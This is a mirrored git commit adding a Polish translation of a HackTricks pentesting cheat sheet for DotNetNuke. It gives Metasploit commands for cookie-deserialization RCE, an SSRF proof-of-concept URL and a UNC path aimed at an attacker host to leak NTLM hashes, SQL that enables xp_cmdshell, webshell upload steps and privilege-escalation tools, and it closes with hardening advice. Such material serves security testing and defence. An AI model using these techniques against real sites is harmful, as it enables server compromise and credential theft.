mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
e5c0864c02
commit
743eee21d7
@ -4,37 +4,92 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Jeśli zalogujesz się jako **administrator** w DNN, łatwo uzyskać RCE.
|
||||
Jeśli zalogujesz się jako **administrator** w DNN, łatwo uzyskać **RCE**, jednak w ciągu ostatnich kilku lat opublikowano szereg technik *nieautoryzowanych* i *po autoryzacji*. Poniższa ściągawka zbiera najbardziej przydatne prymitywy zarówno do pracy ofensywnej, jak i defensywnej.
|
||||
|
||||
## RCE
|
||||
---
|
||||
## Wersja i enumeracja środowiska
|
||||
|
||||
### Via SQL
|
||||
* Sprawdź nagłówek odpowiedzi HTTP *X-DNN* – zazwyczaj ujawnia dokładną wersję platformy.
|
||||
* Kreator instalacji ujawnia wersję w `/Install/Install.aspx?mode=install` (dostępne w bardzo starych instalacjach).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) zwraca blob JSON zawierający `"dnnVersion"` dla użytkowników o niskich uprawnieniach.
|
||||
* Typowe ciasteczka, które zobaczysz na działającej instancji:
|
||||
* `.DOTNETNUKE` – bilet uwierzytelniania formularzy ASP.NET.
|
||||
* `DNNPersonalization` – zawiera dane profilu użytkownika w formacie XML/serializowanym (stare wersje – patrz RCE poniżej).
|
||||
|
||||
Konsola SQL jest dostępna na stronie **`Settings`**, gdzie możesz włączyć **`xp_cmdshell`** i **uruchamiać polecenia systemu operacyjnego**.
|
||||
---
|
||||
## Wykorzystanie bez autoryzacji
|
||||
|
||||
Użyj tych linii, aby włączyć **`xp_cmdshell`**:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. Deserializacja ciasteczek RCE (CVE-2017-9822 i kontynuacje)
|
||||
*Dotknięte wersje ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Odpowiednio skonstruowane XML może prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu.
|
||||
```
|
||||
A następnie naciśnij **"Run Script"**, aby uruchomić te zapytania SQL.
|
||||
|
||||
Następnie użyj czegoś takiego, jak poniżej, aby uruchomić polecenia systemu operacyjnego:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### Via ASP webshell
|
||||
Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Eksploatacja działa **bez uwierzytelnienia** w wersjach 7.x–9.1.x oraz z *zweryfikowanym* kontem o niskich uprawnieniach w wersjach 9.2.x+.
|
||||
|
||||
W `Settings -> Security -> More -> More Security Settings` możesz **dodać nowe dozwolone rozszerzenia** w sekcji `Allowable File Extensions`, a następnie klikając przycisk `Save`.
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Wersje dotknięte < 9.13.8 – Łatka wydana w kwietniu 2025*
|
||||
|
||||
Dodaj **`asp`** lub **`aspx`** i następnie w **`/admin/file-management`** prześlij **asp webshell** o nazwie `shell.asp`, na przykład.
|
||||
Ominięcie starszej poprawki `DnnImageHandler` umożliwia atakującemu zmuszenie serwera do wydawania **dowolnych żądań GET** (pół-ślepy SSRF). Praktyczne skutki:
|
||||
|
||||
Następnie uzyskaj dostęp do **`/Portals/0/shell.asp`**, aby uzyskać dostęp do swojego webshella.
|
||||
* Wewnętrzne skanowanie portów / odkrywanie usług metadanych w wdrożeniach w chmurze.
|
||||
* Uzyskanie dostępu do hostów, które są inaczej chronione przed Internetem.
|
||||
|
||||
### Privilege Escalation
|
||||
Dowód koncepcji (zastąp `TARGET` i `ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
Żądanie jest wyzwalane w tle; monitoruj swój nasłuchiwacz w poszukiwaniu wywołań zwrotnych.
|
||||
|
||||
Możesz **eskalować uprawnienia** używając **Potatoes** lub **PrintSpoofer**, na przykład.
|
||||
### 3. Ekspozycja hasha NTLM za pomocą przekierowania UNC (CVE-2025-52488)
|
||||
*Wersje dotknięte 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą **UNC path** takiego jak `\\attacker\share\img.png`. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do **10.0.1** lub wyłącz wychodzący SMB w zaporze.
|
||||
|
||||
### 4. Ominięcie filtra IP (CVE-2025-52487)
|
||||
Jeśli administratorzy polegają na *Host/IP Filters* w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed **10.0.1** mogą być ominięte poprzez manipulację `X-Forwarded-For` w scenariuszu reverse-proxy.
|
||||
|
||||
---
|
||||
## Post-autoryzacja do RCE
|
||||
|
||||
### Poprzez konsolę SQL
|
||||
W **`Settings → SQL`** wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć **`xp_cmdshell`** i uruchomić polecenia:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Via ASPX webshell upload
|
||||
1. Przejdź do **`Settings → Security → More → More Security Settings`**.
|
||||
2. Dodaj `aspx` (lub `asp`) do **Allowable File Extensions** i **Zapisz**.
|
||||
3. Przejdź do **`/admin/file-management`** i załaduj `shell.aspx`.
|
||||
4. Uruchom go pod **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Privilege Escalation on Windows
|
||||
Gdy uzyskasz wykonanie kodu jako **IIS AppPool\<Site>**, stosuje się powszechne techniki eskalacji uprawnień w systemie Windows. Jeśli system jest podatny, możesz wykorzystać:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** do nadużycia *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** do ucieczki z *Service Accounts*.
|
||||
|
||||
---
|
||||
## Hardening Recommendations (Blue Team)
|
||||
|
||||
* **Upgrade** do co najmniej **9.13.9** (naprawia obejście SSRF) lub najlepiej **10.0.1** (problemy z filtrowaniem IP i NTLM).
|
||||
* Usuń pozostałe pliki **`InstallWizard.aspx*`** po instalacji.
|
||||
* Wyłącz wychodzący SMB (porty 445/139).
|
||||
* Wymuś silne *Host Filters* na krawędzi proxy, a nie w DNN.
|
||||
* Zablokuj dostęp do `/API/RemoteContentProxy`, jeśli nie jest używane.
|
||||
|
||||
## References
|
||||
|
||||
* Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub).
|
||||
* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user